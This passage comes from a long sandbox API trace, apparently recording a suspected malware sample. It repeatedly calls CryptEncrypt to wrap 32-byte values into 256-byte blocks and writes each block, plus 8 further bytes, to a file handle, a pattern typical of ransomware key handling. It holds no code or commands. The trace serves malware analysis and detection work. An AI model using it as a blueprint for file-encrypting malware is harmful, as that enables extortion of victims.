pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.510] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.511] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.511] CloseHandle (hObject=0x2aec) returned 1 [0227.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.533] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.533] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.534] CloseHandle (hObject=0x2aec) returned 1 [0227.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.537] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.537] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.537] CloseHandle (hObject=0x2aec) returned 1 [0227.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.540] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.541] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.541] CloseHandle (hObject=0x2aec) returned 1 [0227.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.544] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.544] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.544] CloseHandle (hObject=0x2aec) returned 1 [0227.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.558] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.558] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.558] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.558] CloseHandle (hObject=0x2aec) returned 1 [0227.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.569] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.570] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.570] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.570] CloseHandle (hObject=0x2aec) returned 1 [0227.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.573] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.574] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.574] CloseHandle (hObject=0x2aec) returned 1 [0227.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.588] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.588] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.589] CloseHandle (hObject=0x2aec) returned 1 [0227.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.635] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.636] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.636] CloseHandle (hObject=0x2aec) returned 1 [0227.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.653] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.653] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.654] CloseHandle (hObject=0x2aec) returned 1 [0227.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.669] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.670] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.670] CloseHandle (hObject=0x2aec) returned 1 [0227.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.718] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.719] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.719] CloseHandle (hObject=0x2aec) returned 1 [0227.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.722] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.723] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.723] CloseHandle (hObject=0x2aec) returned 1 [0227.726] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.726] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.727] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.727] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.727] CloseHandle (hObject=0x2aec) returned 1 [0227.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.730] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.731] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.731] CloseHandle (hObject=0x2aec) returned 1 [0227.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.735] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.736] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.736] CloseHandle (hObject=0x2aec) returned 1 [0227.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.751] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.751] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.751] CloseHandle (hObject=0x2aec) returned 1 [0227.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.757] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.758] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.758] CloseHandle (hObject=0x2aec) returned 1 [0227.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.761] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.762] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.762] CloseHandle (hObject=0x2aec) returned 1 [0227.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.765] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.765] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.765] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.766] CloseHandle (hObject=0x2aec) returned 1 [0227.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.769] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.769] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.769] CloseHandle (hObject=0x2aec) returned 1 [0227.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.775] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.775] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.775] CloseHandle (hObject=0x2aec) returned 1 [0227.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.784] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.785] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.785] CloseHandle (hObject=0x2aec) returned 1 [0227.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.801] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, 